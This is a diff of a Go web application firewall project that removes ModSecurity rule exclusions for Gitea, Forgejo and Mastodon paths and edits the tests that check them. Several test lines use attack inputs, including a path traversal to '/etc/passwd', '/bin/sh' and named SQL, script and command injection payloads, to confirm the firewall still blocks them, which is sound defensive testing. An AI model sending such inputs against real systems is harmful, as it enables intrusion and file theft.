"ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
|
|
||||||
|
|
||||||
# A pull request opened through the API, from the branch in head into the
|
|
||||||
# branch in base.
|
|
||||||
# An edit of one sends its new target branch in base.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
|
|
||||||
"id:900664,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.base"
|
|
||||||
|
|
||||||
# One file or several created, changed or deleted through the API, on the branch
|
|
||||||
# in branch. A new branch for the commit is named in new_branch. The commit's
|
|
||||||
# message, in message, skips these rules:
|
|
||||||
# 930120: Remove .htaccess
|
|
||||||
# 932120: Add a PowerShell build script
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
|
|
||||||
"id:900665,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message"
|
|
||||||
|
|
||||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||||
# Content-Range, which the Core Rule Set refused (920450).
|
# Content-Range, which the Core Rule Set refused (920450).
|
||||||
SecRule REQUEST_FILENAME \
|
SecRule REQUEST_FILENAME \
|
||||||
@@ -485,25 +290,6 @@ SecRule REQUEST_FILENAME \
|
|||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
# The forms that adopt or delete an unadopted repository send its name in id.
|
|
||||||
# The admin forms put its owner in front, as alice/python3-app. id skips these
|
|
||||||
# rules there:
|
|
||||||
# 930120: alice/.profile
|
|
||||||
# 932120: alice/powershell-scripts
|
|
||||||
# 932160: robin/assets, which holds bin/as
|
|
||||||
# 932260: alice/python3-app
|
|
||||||
# The forms post to these paths:
|
|
||||||
# /-/admin/repos/unadopted: gitea's admin form
|
|
||||||
# /admin/repos/unadopted: Forgejo's admin form
|
|
||||||
# /user/settings/repos/unadopted: the form in a user's settings, on both
|
|
||||||
SecRule REQUEST_FILENAME \
|
|
||||||
"@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
|
|
||||||
"id:900645,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:id,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:id,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:id,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:id"
|
|
||||||
|
|
||||||
# The passwords skip each rule that random passwords set off:
|
# The passwords skip each rule that random passwords set off:
|
||||||
# password: signing in, signing up, linking an account, activating an account,
|
# password: signing in, signing up, linking an account, activating an account,
|
||||||
# resetting or changing the password, deleting an account, and creating or
|
# resetting or changing the password, deleting an account, and creating or
|
||||||
@@ -550,16 +336,3 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
|
|||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||||
|
|
||||||
# Referer skips the rule on Java class names (944130). It refused every page
|
|
||||||
# opened from the page of java.lang.String.md.
|
|
||||||
SecAction "id:900641,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
|
|
||||||
|
|
||||||
# A container image push that reuses a layer names the image it takes the layer
|
|
||||||
# from in the query parameter from, which skips the list of command names
|
|
||||||
# (932260) there. It refused the push of a layer from owner/python3-app.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
|
||||||
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
|
||||||
|
|
||||||
SecMarker END_GITEA
|
|
||||||
@@ -1,250 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"slices"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
|
||||||
|
|
||||||
// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
|
|
||||||
// of unadopted repositories. The forms that adopt or delete one post there.
|
|
||||||
const (
|
|
||||||
giteaAdminUnadoptedRepos = "/-/admin/repos/unadopted"
|
|
||||||
forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
|
|
||||||
)
|
|
||||||
|
|
||||||
// giteaSearches are searches of the pages gitea and Forgejo share whose q
|
|
||||||
// skips the lists of system files and command names, in the eighth change.
|
|
||||||
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaSearches = []string{
|
|
||||||
"/notifications/watching",
|
|
||||||
"/org/acme/milestones/developers",
|
|
||||||
"/org/acme/teams/-/search",
|
|
||||||
"/alice/-/projects",
|
|
||||||
"/alice/-/packages/generic/tools-cli/versions",
|
|
||||||
"/alice/-/packages/npm/@alice%2Ftools-cli/versions",
|
|
||||||
"/alice/tools/milestones",
|
|
||||||
"/alice/tools/projects",
|
|
||||||
"/alice/tools/issues/suggestions",
|
|
||||||
"/alice/tools/settings/actions/runners",
|
|
||||||
"/org/acme/settings/actions/runners",
|
|
||||||
"/user/settings/actions/runners",
|
|
||||||
"/-/admin/actions/runners",
|
|
||||||
"/-/admin/users",
|
|
||||||
"/-/admin/orgs",
|
|
||||||
"/-/admin/repos",
|
|
||||||
giteaAdminUnadoptedRepos,
|
|
||||||
"/-/admin/emails",
|
|
||||||
"/-/admin/emails/activate",
|
|
||||||
"/admin/actions/runners",
|
|
||||||
"/admin/users",
|
|
||||||
forgejoAdminUnadoptedRepos,
|
|
||||||
"/admin/emails/activate",
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaTagAndPackageSearches are the searches of tags and packages, whose q
|
|
||||||
// also lets /bin/sh through, since a tag or package name can hold a slash.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaTagAndPackageSearches = []string{
|
|
||||||
"/alice/tools/tags",
|
|
||||||
"/alice/tools/packages",
|
|
||||||
"/-/admin/packages",
|
|
||||||
"/admin/packages",
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// The forms that adopt a repository and activate an email send the
|
|
||||||
// admin page's search in q, as gitea 1.27.3 and Forgejo 17.0.1 do.
|
|
||||||
for _, value := range hardValues {
|
|
||||||
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
|
|
||||||
|
|
||||||
for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
|
|
||||||
}
|
|
||||||
|
|
||||||
activate := "sort=email&q=" + value + "&is_primary=&is_activated=" +
|
|
||||||
"&uid=2&email=bob%40example.com&primary=1&activate=0"
|
|
||||||
|
|
||||||
for _, path := range []string{"/-/admin/emails/activate", "/admin/emails/activate"} {
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
wantBody(t, crs, r, activate, coreruleset.Result{}, activate)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// The admin forms send the repository's owner and name in id, and the
|
|
||||||
// form in a user's settings only its name. robin/assets holds bin/as, a
|
|
||||||
// shell path.
|
|
||||||
ownerAndName := []string{
|
|
||||||
"alice%2Fpython3-app",
|
|
||||||
"alice%2Fpowershell-scripts",
|
|
||||||
"alice%2F.profile",
|
|
||||||
"robin%2Fassets",
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, form := range []struct {
|
|
||||||
path string
|
|
||||||
ids []string
|
|
||||||
}{
|
|
||||||
{giteaAdminUnadoptedRepos, ownerAndName},
|
|
||||||
{forgejoAdminUnadoptedRepos, ownerAndName},
|
|
||||||
{
|
|
||||||
"/user/settings/repos/unadopted", // gitea's and Forgejo's
|
|
||||||
[]string{"python3-app", "powershell-scripts", ".profile"},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, form.path, []string{formData}}
|
|
||||||
|
|
||||||
for _, action := range []string{"adopt", "delete"} {
|
|
||||||
for _, id := range form.ids {
|
|
||||||
body := "id=" + id + "&action=" + action
|
|
||||||
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Another field keeps those rules.
|
|
||||||
body := "id=" + form.ids[0] + "&action=adopt&page=python3"
|
|
||||||
wantBody(t, crs, r, body, matched(932260), body)
|
|
||||||
|
|
||||||
// Attacks in id are still refused.
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection,
|
|
||||||
scriptInjection,
|
|
||||||
commandInjection,
|
|
||||||
"..%2F..%2Fetc%2Fpasswd",
|
|
||||||
} {
|
|
||||||
body := "id=" + attack + "&action=adopt"
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", form.path, body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// On another path, id keeps those rules.
|
|
||||||
r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
|
|
||||||
body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
|
|
||||||
wantBody(t, crs, r, body, matched(932260), body)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, path := range slices.Concat(giteaSearches, giteaTagAndPackageSearches) {
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
|
||||||
} {
|
|
||||||
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// /bin/sh stays refused in q on the searches that are not of tags or
|
|
||||||
// packages.
|
|
||||||
for _, path := range giteaSearches {
|
|
||||||
if got := inspect(t, crs, get(path+"?q=%2Fbin%2Fsh")); got.Score < threshold {
|
|
||||||
t.Errorf("%s?q=%%2Fbin%%2Fsh let through: %+v", path, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
|
|
||||||
|
|
||||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
|
||||||
// values stay refused in q on paths near the searches, and in another
|
|
||||||
// field on them.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/org/acme/teams?q=",
|
|
||||||
"/org/acme/teams/-/search/x?q=",
|
|
||||||
"/org/acme/issues/developers/x?q=",
|
|
||||||
"/alice/-/projects/1?q=",
|
|
||||||
"/alice/-/packages/generic/tools-cli/1.0.0?q=",
|
|
||||||
"/alice/tools/milestones/new?q=",
|
|
||||||
"/alice/tools/milestone/new?q=",
|
|
||||||
"/alice/tools/projects/1?q=",
|
|
||||||
"/alice/tools/packages/x?q=",
|
|
||||||
"/alice/tools/tags/v1.0?q=",
|
|
||||||
"/alice/tools/issues/1?q=",
|
|
||||||
"/alice/tools/settings/actions?q=",
|
|
||||||
"/user/settings/actions?q=",
|
|
||||||
"/-/admin/users/1/edit?q=",
|
|
||||||
"/-/admin/emails/delete?q=",
|
|
||||||
"/-/admin/actions/runners/1?q=",
|
|
||||||
"/-/admin/packages/delete?q=",
|
|
||||||
"/alice/tools/milestones?other=",
|
|
||||||
"/alice/tools/milestone/1?other=",
|
|
||||||
"/alice/tools/tags?other=",
|
|
||||||
"/org/acme/issues/developers?other=",
|
|
||||||
"/org/acme/teams/-/search?other=",
|
|
||||||
"/-/admin/users?other=",
|
|
||||||
"/-/admin/packages?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range slices.Concat(attacks, hardValues) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Under /admin/, where Forgejo serves its admin pages, only the hard
|
|
||||||
// values are left out: the tenth change lets them through in q on every
|
|
||||||
// path there, for Drupal.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/admin/packages/delete?q=",
|
|
||||||
"/admin/packages?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range attacks {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Referer keeps its rules on a page opened from a path near the
|
|
||||||
// searches of one team and of one milestone.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/org/acme/issues/developers/x",
|
|
||||||
"/alice/tools/milestone/new",
|
|
||||||
} {
|
|
||||||
for _, attack := range []string{scriptTag, injection} {
|
|
||||||
referer := "Referer: http://example.com" + path + "?q=" + attack
|
|
||||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", referer, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
||||||
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
# sends a search, a name, a title, a file name, an address or free text. Each
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
# exclusion runs with the request, before the rules it switches off, so this
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
@@ -17,13 +17,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
|
|
||||||
# it while SWW_APPS is unset, or lists mastodon for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mastodon itself.
|
|
||||||
SecRule &TX:app_mastodon "@eq 0" \
|
|
||||||
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
|
||||||
|
|
||||||
# The API's searches and names, in the query:
|
# The API's searches and names, in the query:
|
||||||
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
# acct: /api/v1/accounts/lookup?acct=python3
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
@@ -304,5 +297,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
|||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||||
|
|
||||||
SecMarker END_MASTODON
|
|
||||||
@@ -55,20 +55,6 @@ const (
|
|||||||
mastodonStatus = "status="
|
mastodonStatus = "status="
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"mastodon"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Mastodon's fixes let through.
|
|
||||||
search := get("/api/v2/search?q=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
@@ -120,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||||
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||||
{
|
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
||||||
"/admin/domain_blocks",
|
|
||||||
"domain_block[private_comment]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/admin/domain_blocks",
|
|
||||||
"domain_block[public_comment]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||||
{http.MethodPost, mastodonRules, "rule[text]="},
|
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||||
{http.MethodPost, mastodonRules, "rule[hint]="},
|
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||||
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||||
{
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
||||||
http.MethodPost,
|
|
||||||
mastodonBranding,
|
|
||||||
"form_admin_settings[site_short_description]=",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/admin/settings/about",
|
http.MethodPost, "/admin/settings/about",
|
||||||
"form_admin_settings[site_extended_description]=",
|
"form_admin_settings[site_extended_description]=",
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/filters", "custom_filter[title]="},
|
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||||
{
|
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
||||||
"/filters",
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
"custom_filter[keywords_attributes][0][keyword]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/settings/applications",
|
|
||||||
"doorkeeper_application[name]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/settings/applications",
|
|
||||||
"doorkeeper_application[website]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
{
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
mastodonAccount,
|
|
||||||
"user[invite_request_attributes][text]=",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/admin/accounts/1/action",
|
|
||||||
"admin_account_action[text]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/admin/account_moderation_notes",
|
http.MethodPost, "/admin/account_moderation_notes",
|
||||||
@@ -195,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
http.MethodPost,
|
|
||||||
"/settings/migration",
|
|
||||||
"account_migration[current_password]=",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
"form_redirect[current_password]=",
|
"form_redirect[current_password]=",
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
http.MethodPost,
|
|
||||||
"/settings/delete",
|
|
||||||
"form_delete_confirmation[password]=",
|
|
||||||
},
|
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -235,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||||
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||||
{
|
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
|
||||||
http.MethodPatch,
|
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
mastodonEditor,
|
|
||||||
`{"fields_attributes":[{"name":%s}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPatch,
|
|
||||||
mastodonEditor,
|
|
||||||
`{"fields_attributes":[{"value":%s}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||||
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||||
{
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
|
||||||
http.MethodPatch,
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
mastodonProfile,
|
|
||||||
`{"fields_attributes":[{"name":%s}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPatch,
|
|
||||||
mastodonProfile,
|
|
||||||
`{"fields_attributes":[{"value":%s}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
@@ -265,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||||
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||||
{
|
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
||||||
mastodonInbox,
|
|
||||||
`{"object":{"attachment":[{"name":%s}]}}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
mastodonInbox,
|
|
||||||
`{"object":{"attachment":[{"value":%s}]}}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||||
}
|
}
|
||||||
@@ -317,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
r := request{sent.method, sent.target, []string{jsonBody}}
|
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||||
got, _ := inspectBody(
|
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
||||||
t,
|
|
||||||
readingBodies(t),
|
|
||||||
r,
|
|
||||||
fmt.Sprintf(sent.field, quoted),
|
|
||||||
)
|
|
||||||
|
|
||||||
return got.Score
|
return got.Score
|
||||||
}
|
}
|
||||||
@@ -353,11 +270,7 @@ func mastodonScores(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||||
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
|
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
|
||||||
t,
|
|
||||||
